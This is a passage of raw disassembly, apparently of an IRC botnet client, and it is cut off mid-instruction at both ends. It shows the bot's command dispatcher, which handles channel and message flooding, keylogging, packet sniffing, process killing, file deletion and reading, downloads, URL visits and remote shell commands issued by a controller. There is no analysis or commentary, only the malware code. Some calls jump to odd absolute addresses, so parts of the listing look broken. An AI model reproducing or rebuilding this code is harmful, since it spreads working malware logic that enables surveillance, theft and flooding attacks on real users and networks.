[ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h call near ptr 26705B3h nop jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 2680000h push eax push offset unk_42B56C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE call near ptr 2680D12h nop push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B504 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B4E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4D4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 call near ptr 2680D12h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B464 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B450 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B44C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF call near ptr 2680D12h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B424 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3C4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D400C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB00C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA72C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B34C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B24C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B21C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 26705B3h jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj nop call near ptr 2680000h push eax push offset dword_42B1E0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B178 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B150 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B120 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h nop call near ptr 26705B3h jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 2680000h push eax push offset unk_42B0E4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B074 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B04C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B020 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx nop call near ptr 2670659h imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz loc_40828B nop call near ptr 2680000h push eax push offset dword_42AFEC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFB4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AF94 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF48 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF1C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AEFC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AED8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_C58] imul ecx, 